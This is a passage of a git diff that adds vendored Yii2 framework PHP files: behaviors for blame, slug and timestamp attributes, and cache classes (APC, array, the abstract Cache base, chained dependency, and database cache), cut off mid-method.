set, the value of `Yii::$app->user->id` will be assigned to the attribute(s). + */ + public $value; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + + if (empty($this->attributes)) { + $this->attributes = [ + BaseActiveRecord::EVENT_BEFORE_INSERT => [$this->createdByAttribute, $this->updatedByAttribute], + BaseActiveRecord::EVENT_BEFORE_UPDATE => $this->updatedByAttribute, + ]; + } + } + + /** + * Evaluates the value of the user. + * The return result of this method will be assigned to the current attribute(s). + * @param Event $event + * @return mixed the value of the user. + */ + protected function getValue($event) + { + if ($this->value === null) { + $user = Yii::$app->get('user', false); + return $user && !$user->isGuest ? $user->id : null; + } else { + return call_user_func($this->value, $event); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/behaviors/SluggableBehavior.php b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/SluggableBehavior.php new file mode 100644 index 00000000..97310c78 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/SluggableBehavior.php @@ -0,0 +1,207 @@ + SluggableBehavior::className(), + * 'attribute' => 'title', + * // 'slugAttribute' => 'slug', + * ], + * ]; + * } + * ``` + * + * By default, SluggableBehavior will fill the `slug` attribute with a value that can be used a slug in a URL + * when the associated AR object is being validated. If your attribute name is different, you may configure + * the [[slugAttribute]] property like the following: + * + * ```php + * public function behaviors() + * { + * return [ + * [ + * 'class' => SluggableBehavior::className(), + * 'slugAttribute' => 'alias', + * ], + * ]; + * } + * ``` + * + * @author Alexander Kochetov + * @author Paul Klimov + * @since 2.0 + */ +class SluggableBehavior extends AttributeBehavior +{ + /** + * @var string the attribute that will receive the slug value + */ + public $slugAttribute = 'slug'; + /** + * @var string|array the attribute or list of attributes whose value will be converted into a slug + */ + public $attribute; + /** + * @var string|callable the value that will be used as a slug. This can be an anonymous function + * or an arbitrary value. If the former, the return value of the function will be used as a slug. + * The signature of the function should be as follows, + * + * ```php + * function ($event) + * { + * // return slug + * } + * ``` + */ + public $value; + /** + * @var boolean whether to ensure generated slug value to be unique among owner class records. + * If enabled behavior will validate slug uniqueness automatically. If validation fails it will attempt + * generating unique slug value from based one until success. + */ + public $ensureUnique = false; + /** + * @var array configuration for slug uniqueness validator. Parameter 'class' may be omitted - by default + * [[UniqueValidator]] will be used. + * @see UniqueValidator + */ + public $uniqueValidator = []; + /** + * @var callable slug unique value generator. It is used in case [[ensureUnique]] enabled and generated + * slug is not unique. This should be a PHP callable with following signature: + * + * ```php + * function ($baseSlug, $iteration, $model) + * { + * // return uniqueSlug + * } + * ``` + * + * If not set unique slug will be generated adding incrementing suffix to the base slug. + */ + public $uniqueSlugGenerator; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + + if (empty($this->attributes)) { + $this->attributes = [BaseActiveRecord::EVENT_BEFORE_VALIDATE => $this->slugAttribute]; + } + + if ($this->attribute === null && $this->value === null) { + throw new InvalidConfigException('Either "attribute" or "value" property must be specified.'); + } + } + + /** + * @inheritdoc + */ + protected function getValue($event) + { + $isNewSlug = true; + + if ($this->attribute !== null) { + $attributes = (array)$this->attribute; + /* @var $owner BaseActiveRecord */ + $owner = $this->owner; + if (!$owner->getIsNewRecord() && !empty($owner->{$this->slugAttribute})) { + $isNewSlug = false; + foreach ($attributes as $attribute) { + if ($owner->isAttributeChanged($attribute)) { + $isNewSlug = true; + break; + } + } + } + + if ($isNewSlug) { + $slugParts = []; + foreach ($attributes as $attribute) { + $slugParts[] = $owner->{$attribute}; + } + $slug = Inflector::slug(implode('-', $slugParts)); + } else { + $slug = $owner->{$this->slugAttribute}; + } + } else { + $slug = parent::getValue($event); + } + + if ($this->ensureUnique && $isNewSlug) { + $baseSlug = $slug; + $iteration = 0; + while (!$this->validateSlug($slug)) { + $iteration++; + $slug = $this->generateUniqueSlug($baseSlug, $iteration); + } + } + return $slug; + } + + /** + * Checks if given slug value is unique. + * @param string $slug slug value + * @return boolean whether slug is unique. + */ + private function validateSlug($slug) + { + /* @var $validator UniqueValidator */ + /* @var $model BaseActiveRecord */ + $validator = Yii::createObject(array_merge( + [ + 'class' => UniqueValidator::className() + ], + $this->uniqueValidator + )); + + $model = clone $this->owner; + $model->clearErrors(); + $model->{$this->slugAttribute} = $slug; + + $validator->validateAttribute($model, $this->slugAttribute); + return !$model->hasErrors(); + } + + /** + * Generates slug using configured callback or increment of iteration. + * @param string $baseSlug base slug value + * @param integer $iteration iteration number + * @return string new slug value + * @throws \yii\base\InvalidConfigException + */ + private function generateUniqueSlug($baseSlug, $iteration) + { + if (is_callable($this->uniqueSlugGenerator)) { + return call_user_func($this->uniqueSlugGenerator, $baseSlug, $iteration, $this->owner); + } else { + return $baseSlug . '-' . ($iteration + 1); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/behaviors/TimestampBehavior.php b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/TimestampBehavior.php new file mode 100644 index 00000000..ac0103c3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/TimestampBehavior.php @@ -0,0 +1,123 @@ + TimestampBehavior::className(), + * 'createdAtAttribute' => 'create_time', + * 'updatedAtAttribute' => 'update_time', + * 'value' => new Expression('NOW()'), + * ], + * ]; + * } + * ``` + * + * TimestampBehavior also provides a method named [[touch()]] that allows you to assign the current + * timestamp to the specified attribute(s) and save them to the database. For example, + * + * ```php + * $this->timestamp->touch('creation_time'); + * ``` + * + * @author Qiang Xue + * @author Alexander Kochetov + * @since 2.0 + */ +class TimestampBehavior extends AttributeBehavior +{ + /** + * @var string the attribute that will receive timestamp value + * Set this property to false if you do not want to record the creation time. + */ + public $createdAtAttribute = 'created_at'; + /** + * @var string the attribute that will receive timestamp value. + * Set this property to false if you do not want to record the update time. + */ + public $updatedAtAttribute = 'updated_at'; + /** + * @var callable|Expression The expression that will be used for generating the timestamp. + * This can be either an anonymous function that returns the timestamp value, + * or an [[Expression]] object representing a DB expression (e.g. `new Expression('NOW()')`). + * If not set, it will use the value of `time()` to set the attributes. + */ + public $value; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + + if (empty($this->attributes)) { + $this->attributes = [ + BaseActiveRecord::EVENT_BEFORE_INSERT => [$this->createdAtAttribute, $this->updatedAtAttribute], + BaseActiveRecord::EVENT_BEFORE_UPDATE => $this->updatedAtAttribute, + ]; + } + } + + /** + * @inheritdoc + */ + protected function getValue($event) + { + if ($this->value instanceof Expression) { + return $this->value; + } else { + return $this->value !== null ? call_user_func($this->value, $event) : time(); + } + } + + /** + * Updates a timestamp attribute to the current timestamp. + * + * ```php + * $model->touch('lastVisit'); + * ``` + * @param string $attribute the name of the attribute to update. + */ + public function touch($attribute) + { + $this->owner->updateAttributes(array_fill_keys((array) $attribute, $this->getValue(null))); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/ApcCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/ApcCache.php new file mode 100644 index 00000000..e9b7f030 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/ApcCache.php @@ -0,0 +1,134 @@ + + * @since 2.0 + */ +class ApcCache extends Cache +{ + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $key = $this->buildKey($key); + + return apc_exists($key); + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + return apc_fetch($key); + } + + /** + * Retrieves multiple values from cache with the specified keys. + * @param array $keys a list of keys identifying the cached values + * @return array a list of cached values indexed by the keys + */ + protected function getValues($keys) + { + return apc_fetch($keys); + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + return apc_store($key, $value, $duration); + } + + /** + * Stores multiple key-value pairs in cache. + * @param array $data array where key corresponds to cache key while value + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function setValues($data, $duration) + { + return array_keys(apc_store($data, null, $duration)); + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + return apc_add($key, $value, $duration); + } + + /** + * Adds multiple key-value pairs to cache. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function addValues($data, $duration) + { + return array_keys(apc_add($data, null, $duration)); + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return apc_delete($key); + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + if (extension_loaded('apcu')) { + return apc_clear_cache(); + } else { + return apc_clear_cache('user'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/ArrayCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/ArrayCache.php new file mode 100644 index 00000000..7295fc06 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/ArrayCache.php @@ -0,0 +1,86 @@ + + * @since 2.0 + */ +class ArrayCache extends Cache +{ + private $_cache; + + + /** + * @inheritdoc + */ + public function exists($key) + { + $key = $this->buildKey($key); + return isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true)); + } + + /** + * @inheritdoc + */ + protected function getValue($key) + { + if (isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true))) { + return $this->_cache[$key][0]; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + protected function setValue($key, $value, $duration) + { + $this->_cache[$key] = [$value, $duration === 0 ? 0 : microtime(true) + $duration]; + return true; + } + + /** + * @inheritdoc + */ + protected function addValue($key, $value, $duration) + { + if (isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true))) { + return false; + } else { + $this->_cache[$key] = [$value, $duration === 0 ? 0 : microtime(true) + $duration]; + return true; + } + } + + /** + * @inheritdoc + */ + protected function deleteValue($key) + { + unset($this->_cache[$key]); + return true; + } + + /** + * @inheritdoc + */ + protected function flushValues() + { + $this->_cache = []; + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/Cache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/Cache.php new file mode 100644 index 00000000..dce5ccc9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/Cache.php @@ -0,0 +1,468 @@ +get($key); + * if ($data === false) { + * // ...generate $data here... + * $cache->set($key, $data, $duration, $dependency); + * } + * ``` + * + * Because Cache implements the ArrayAccess interface, it can be used like an array. For example, + * + * ```php + * $cache['foo'] = 'some data'; + * echo $cache['foo']; + * ``` + * + * Derived classes should implement the following methods which do the actual cache storage operations: + * + * - [[getValue()]]: retrieve the value with a key (if any) from cache + * - [[setValue()]]: store the value with a key into cache + * - [[addValue()]]: store the value only if the cache does not have this key before + * - [[deleteValue()]]: delete the value with the specified key from cache + * - [[flushValues()]]: delete all values from cache + * + * @author Qiang Xue + * @since 2.0 + */ +abstract class Cache extends Component implements \ArrayAccess +{ + /** + * @var string a string prefixed to every cache key so that it is unique globally in the whole cache storage. + * It is recommended that you set a unique cache key prefix for each application if the same cache + * storage is being used by different applications. + * + * To ensure interoperability, only alphanumeric characters should be used. + */ + public $keyPrefix; + /** + * @var array|boolean the functions used to serialize and unserialize cached data. Defaults to null, meaning + * using the default PHP `serialize()` and `unserialize()` functions. If you want to use some more efficient + * serializer (e.g. [igbinary](http://pecl.php.net/package/igbinary)), you may configure this property with + * a two-element array. The first element specifies the serialization function, and the second the deserialization + * function. If this property is set false, data will be directly sent to and retrieved from the underlying + * cache component without any serialization or deserialization. You should not turn off serialization if + * you are using [[Dependency|cache dependency]], because it relies on data serialization. + */ + public $serializer; + + + /** + * Builds a normalized cache key from a given key. + * + * If the given key is a string containing alphanumeric characters only and no more than 32 characters, + * then the key will be returned back prefixed with [[keyPrefix]]. Otherwise, a normalized key + * is generated by serializing the given key, applying MD5 hashing, and prefixing with [[keyPrefix]]. + * + * @param mixed $key the key to be normalized + * @return string the generated cache key + */ + public function buildKey($key) + { + if (is_string($key)) { + $key = ctype_alnum($key) && StringHelper::byteLength($key) <= 32 ? $key : md5($key); + } else { + $key = md5(json_encode($key)); + } + + return $this->keyPrefix . $key; + } + + /** + * Retrieves a value from cache with a specified key. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return mixed the value stored in cache, false if the value is not in the cache, expired, + * or the dependency associated with the cached data has changed. + */ + public function get($key) + { + $key = $this->buildKey($key); + $value = $this->getValue($key); + if ($value === false || $this->serializer === false) { + return $value; + } elseif ($this->serializer === null) { + $value = unserialize($value); + } else { + $value = call_user_func($this->serializer[1], $value); + } + if (is_array($value) && !($value[1] instanceof Dependency && $value[1]->getHasChanged($this))) { + return $value[0]; + } else { + return false; + } + } + + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * In case a cache does not support this feature natively, this method will try to simulate it + * but has no performance improvement over getting it. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $key = $this->buildKey($key); + $value = $this->getValue($key); + + return $value !== false; + } + + /** + * Retrieves multiple values from cache with the specified keys. + * Some caches (such as memcache, apc) allow retrieving multiple cached values at the same time, + * which may improve the performance. In case a cache does not support this feature natively, + * this method will try to simulate it. + * @param string[] $keys list of string keys identifying the cached values + * @return array list of cached values corresponding to the specified keys. The array + * is returned in terms of (key, value) pairs. + * If a value is not cached or expired, the corresponding array value will be false. + */ + public function mget($keys) + { + $keyMap = []; + foreach ($keys as $key) { + $keyMap[$key] = $this->buildKey($key); + } + $values = $this->getValues(array_values($keyMap)); + $results = []; + foreach ($keyMap as $key => $newKey) { + $results[$key] = false; + if (isset($values[$newKey])) { + if ($this->serializer === false) { + $results[$key] = $values[$newKey]; + } else { + $value = $this->serializer === null ? unserialize($values[$newKey]) + : call_user_func($this->serializer[1], $values[$newKey]); + + if (is_array($value) && !($value[1] instanceof Dependency && $value[1]->getHasChanged($this))) { + $results[$key] = $value[0]; + } + } + } + } + + return $results; + } + + /** + * Stores a value identified by a key into cache. + * If the cache already contains such a key, the existing value and + * expiration time will be replaced with the new ones, respectively. + * + * @param mixed $key a key identifying the value to be cached. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @param mixed $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @param Dependency $dependency dependency of the cached item. If the dependency changes, + * the corresponding value in the cache will be invalidated when it is fetched via [[get()]]. + * This parameter is ignored if [[serializer]] is false. + * @return boolean whether the value is successfully stored into cache + */ + public function set($key, $value, $duration = 0, $dependency = null) + { + if ($dependency !== null && $this->serializer !== false) { + $dependency->evaluateDependency($this); + } + if ($this->serializer === null) { + $value = serialize([$value, $dependency]); + } elseif ($this->serializer !== false) { + $value = call_user_func($this->serializer[0], [$value, $dependency]); + } + $key = $this->buildKey($key); + + return $this->setValue($key, $value, $duration); + } + + /** + * Stores multiple items in cache. Each item contains a value identified by a key. + * If the cache already contains such a key, the existing value and + * expiration time will be replaced with the new ones, respectively. + * + * @param array $items the items to be cached, as key-value pairs. + * @param integer $duration default number of seconds in which the cached values will expire. 0 means never expire. + * @param Dependency $dependency dependency of the cached items. If the dependency changes, + * the corresponding values in the cache will be invalidated when it is fetched via [[get()]]. + * This parameter is ignored if [[serializer]] is false. + * @return boolean whether the items are successfully stored into cache + */ + public function mset($items, $duration = 0, $dependency = null) + { + if ($dependency !== null && $this->serializer !== false) { + $dependency->evaluateDependency($this); + } + + $data = []; + foreach ($items as $key => $value) { + if ($this->serializer === null) { + $value = serialize([$value, $dependency]); + } elseif ($this->serializer !== false) { + $value = call_user_func($this->serializer[0], [$value, $dependency]); + } + + $key = $this->buildKey($key); + $data[$key] = $value; + } + + return $this->setValues($data, $duration); + } + + /** + * Stores multiple items in cache. Each item contains a value identified by a key. + * If the cache already contains such a key, the existing value and expiration time will be preserved. + * + * @param array $items the items to be cached, as key-value pairs. + * @param integer $duration default number of seconds in which the cached values will expire. 0 means never expire. + * @param Dependency $dependency dependency of the cached items. If the dependency changes, + * the corresponding values in the cache will be invalidated when it is fetched via [[get()]]. + * This parameter is ignored if [[serializer]] is false. + * @return boolean whether the items are successfully stored into cache + */ + public function madd($items, $duration = 0, $dependency = null) + { + if ($dependency !== null && $this->serializer !== false) { + $dependency->evaluateDependency($this); + } + + $data = []; + foreach ($items as $key => $value) { + if ($this->serializer === null) { + $value = serialize([$value, $dependency]); + } elseif ($this->serializer !== false) { + $value = call_user_func($this->serializer[0], [$value, $dependency]); + } + + $key = $this->buildKey($key); + $data[$key] = $value; + } + + return $this->addValues($data, $duration); + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * Nothing will be done if the cache already contains the key. + * @param mixed $key a key identifying the value to be cached. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @param mixed $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @param Dependency $dependency dependency of the cached item. If the dependency changes, + * the corresponding value in the cache will be invalidated when it is fetched via [[get()]]. + * This parameter is ignored if [[serializer]] is false. + * @return boolean whether the value is successfully stored into cache + */ + public function add($key, $value, $duration = 0, $dependency = null) + { + if ($dependency !== null && $this->serializer !== false) { + $dependency->evaluateDependency($this); + } + if ($this->serializer === null) { + $value = serialize([$value, $dependency]); + } elseif ($this->serializer !== false) { + $value = call_user_func($this->serializer[0], [$value, $dependency]); + } + $key = $this->buildKey($key); + + return $this->addValue($key, $value, $duration); + } + + /** + * Deletes a value with the specified key from cache + * @param mixed $key a key identifying the value to be deleted from cache. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean if no error happens during deletion + */ + public function delete($key) + { + $key = $this->buildKey($key); + + return $this->deleteValue($key); + } + + /** + * Deletes all values from cache. + * Be careful of performing this operation if the cache is shared among multiple applications. + * @return boolean whether the flush operation was successful. + */ + public function flush() + { + return $this->flushValues(); + } + + /** + * Retrieves a value from cache with a specified key. + * This method should be implemented by child classes to retrieve the data + * from specific cache storage. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + abstract protected function getValue($key); + + /** + * Stores a value identified by a key in cache. + * This method should be implemented by child classes to store the data + * in specific cache storage. + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + abstract protected function setValue($key, $value, $duration); + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This method should be implemented by child classes to store the data + * in specific cache storage. + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + abstract protected function addValue($key, $value, $duration); + + /** + * Deletes a value with the specified key from cache + * This method should be implemented by child classes to delete the data from actual cache storage. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + abstract protected function deleteValue($key); + + /** + * Deletes all values from cache. + * Child classes may implement this method to realize the flush operation. + * @return boolean whether the flush operation was successful. + */ + abstract protected function flushValues(); + + /** + * Retrieves multiple values from cache with the specified keys. + * The default implementation calls [[getValue()]] multiple times to retrieve + * the cached values one by one. If the underlying cache storage supports multiget, + * this method should be overridden to exploit that feature. + * @param array $keys a list of keys identifying the cached values + * @return array a list of cached values indexed by the keys + */ + protected function getValues($keys) + { + $results = []; + foreach ($keys as $key) { + $results[$key] = $this->getValue($key); + } + + return $results; + } + + /** + * Stores multiple key-value pairs in cache. + * The default implementation calls [[setValue()]] multiple times store values one by one. If the underlying cache + * storage supports multi-set, this method should be overridden to exploit that feature. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function setValues($data, $duration) + { + $failedKeys = []; + foreach ($data as $key => $value) { + if ($this->setValue($key, $value, $duration) === false) { + $failedKeys[] = $key; + } + } + + return $failedKeys; + } + + /** + * Adds multiple key-value pairs to cache. + * The default implementation calls [[addValue()]] multiple times add values one by one. If the underlying cache + * storage supports multi-add, this method should be overridden to exploit that feature. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function addValues($data, $duration) + { + $failedKeys = []; + foreach ($data as $key => $value) { + if ($this->addValue($key, $value, $duration) === false) { + $failedKeys[] = $key; + } + } + + return $failedKeys; + } + + /** + * Returns whether there is a cache entry with a specified key. + * This method is required by the interface ArrayAccess. + * @param string $key a key identifying the cached value + * @return boolean + */ + public function offsetExists($key) + { + return $this->get($key) !== false; + } + + /** + * Retrieves the value from cache with a specified key. + * This method is required by the interface ArrayAccess. + * @param string $key a key identifying the cached value + * @return mixed the value stored in cache, false if the value is not in the cache or expired. + */ + public function offsetGet($key) + { + return $this->get($key); + } + + /** + * Stores the value identified by a key into cache. + * If the cache already contains such a key, the existing value will be + * replaced with the new ones. To add expiration and dependencies, use the [[set()]] method. + * This method is required by the interface ArrayAccess. + * @param string $key the key identifying the value to be cached + * @param mixed $value the value to be cached + */ + public function offsetSet($key, $value) + { + $this->set($key, $value); + } + + /** + * Deletes the value with the specified key from cache + * This method is required by the interface ArrayAccess. + * @param string $key the key of the value to be deleted + */ + public function offsetUnset($key) + { + $this->delete($key); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/ChainedDependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/ChainedDependency.php new file mode 100644 index 00000000..4e67aee5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/ChainedDependency.php @@ -0,0 +1,77 @@ + + * @since 2.0 + */ +class ChainedDependency extends Dependency +{ + /** + * @var Dependency[] list of dependencies that this dependency is composed of. + * Each array element must be a dependency object. + */ + public $dependencies = []; + /** + * @var boolean whether this dependency is depending on every dependency in [[dependencies]]. + * Defaults to true, meaning if any of the dependencies has changed, this dependency is considered changed. + * When it is set false, it means if one of the dependencies has NOT changed, this dependency + * is considered NOT changed. + */ + public $dependOnAll = true; + + + /** + * Evaluates the dependency by generating and saving the data related with dependency. + * @param Cache $cache the cache component that is currently evaluating this dependency + */ + public function evaluateDependency($cache) + { + foreach ($this->dependencies as $dependency) { + $dependency->evaluateDependency($cache); + } + } + + /** + * Generates the data needed to determine if dependency has been changed. + * This method does nothing in this class. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + */ + protected function generateDependencyData($cache) + { + return null; + } + + /** + * Performs the actual dependency checking. + * This method returns true if any of the dependency objects + * reports a dependency change. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return boolean whether the dependency is changed or not. + */ + public function getHasChanged($cache) + { + foreach ($this->dependencies as $dependency) { + if ($this->dependOnAll && $dependency->getHasChanged($cache)) { + return true; + } elseif (!$this->dependOnAll && !$dependency->getHasChanged($cache)) { + return false; + } + } + + return !$this->dependOnAll; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/DbCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/DbCache.php new file mode 100644 index 00000000..4d72e5b0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/DbCache.php @@ -0,0 +1,271 @@ + [ + * 'class' => 'yii\caching\DbCache', + * // 'db' => 'mydb', + * // 'cacheTable' => 'my_cache', + * ] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class DbCache extends Cache +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbCache object is created, if you want to change this property, you should only assign it + * with a DB connection object. + */ + public $db = 'db'; + /** + * @var string name of the DB table to store cache content. + * The table should be pre-created as follows: + * + * ~~~ + * CREATE TABLE cache ( + * id char(128) NOT NULL PRIMARY KEY, + * expire int(11), + * data BLOB + * ); + * ~~~ + * + * where 'BLOB' refers to the BLOB-type of your preferred DBMS. Below are the BLOB type + * that can be used for some popular DBMS: + * + * - MySQL: LONGBLOB + * - PostgreSQL: BYTEA + * - MSSQL: BLOB + * + * When using DbCache in a production server, we recommend you create a DB index for the 'expire' + * column in the cache table to improve the performance. + */ + public $cacheTable = '{{%cache}}'; + /** + * @var integer the probability (parts per million) that garbage collection (GC) should be performed + * when storing a piece of data in the cache. Defaults to 100, meaning 0.01% chance. + * This number should be between 0 and 1000000. A value 0 meaning no GC will be performed at all. + */ + public $gcProbability = 100; + + + /** + * Initializes the DbCache component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } + + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $key = $this->buildKey($key); + + $query = new Query; + $query->select(['COUNT(*)']) + ->from($this->cacheTable) + ->where('[[id]] = :id AND ([[expire]] = 0 OR [[expire]] >' . time() . ')', [':id' => $key]); + if ($this->db->enableQueryCache) { + // temporarily disable and re-enable query caching + $this->db->enableQueryCache = false; + $result = $query->createCommand($this->db)->queryScalar(); + $this->db->enableQueryCache = true; + } else { + $result = $query->createCommand($this->db)->queryScalar(); + } + + return $result > 0; + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + $query = new Query; + $query->select(['data']) + ->from($this->cacheTable) + ->where('[[id]] = :id AND ([[expire]] = 0 OR [[expire]] >' . time() . ')', [':id' => $key]); + if ($this->db->enableQueryCache) { + // temporarily disable and re-enable query caching + $this->db->enableQueryCache = false; + $result = $query->createCommand($this->db)->queryScalar(); + $this->db->enableQueryCache = true; + + return $result; + } else { + return $query->createCommand($this->db)->queryScalar(); + } + } + + /** + * Retrieves multiple values from cache with the specified keys. + * @param array $keys a list of keys identifying the cached values + * @return array a list of cached values indexed by the keys + */ + protected function getValues($keys) + { + if (empty($keys)) { + return []; + } + $query = new Query; + $query->select(['id', 'data']) + ->from($this->cacheTable) + ->where(['id' => $keys]) + ->andWhere('([[expire]] = 0 OR [[expire]] > ' . time() . ')'); + + if ($this->db->enableQueryCache) { + $this->db->enableQueryCache = false; + $rows = $query->createCommand($this->db)->queryAll(); + $this->db->enableQueryCache = true; + } else { + $rows = $query->createCommand($this->db)->queryAll(); + } + + $results = []; + foreach ($keys as $key) { + $results[$key] = false; + } + foreach ($rows as $row) { + $results[$row['id']] = $row['data']; + } + + return $results; + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + $command = $this->db->createCommand() + ->update($this->cacheTable, [ + 'expire' => $duration > 0 ? $duration + time() : 0, + 'data' => [$value, \PDO::PARAM_LOB], + ], ['id' => $key]); + + if ($command->execute()) { + $this->gc(); + + return true; + } else { + return $this->addValue($key, $value, $duration); + } + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + $this->gc(); + + try { + $this->db->createCommand() + ->insert($this->cacheTable, [ + 'id' => $key, + 'expire' => $duration > 0 ? $duration + time() : 0, + 'data' => [$value, \PDO::PARAM_LOB], + ])->execute(); + + return true; + } catch (\Exception $e) { + return false; + } + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + $this->db->createCommand() + ->delete($this->cacheTable, ['id' => $key]) + ->execute(); + + return true; + } + + /** + * Removes the expired data values. + * @param boolean $force whether to enforce the garbage collection regardless of [[gcProbability]]. + * Defaults to false, meaning the actual deletion happens with the probability as specified by [[gcProbability]]. + */ + public function gc($force = false) + { + if 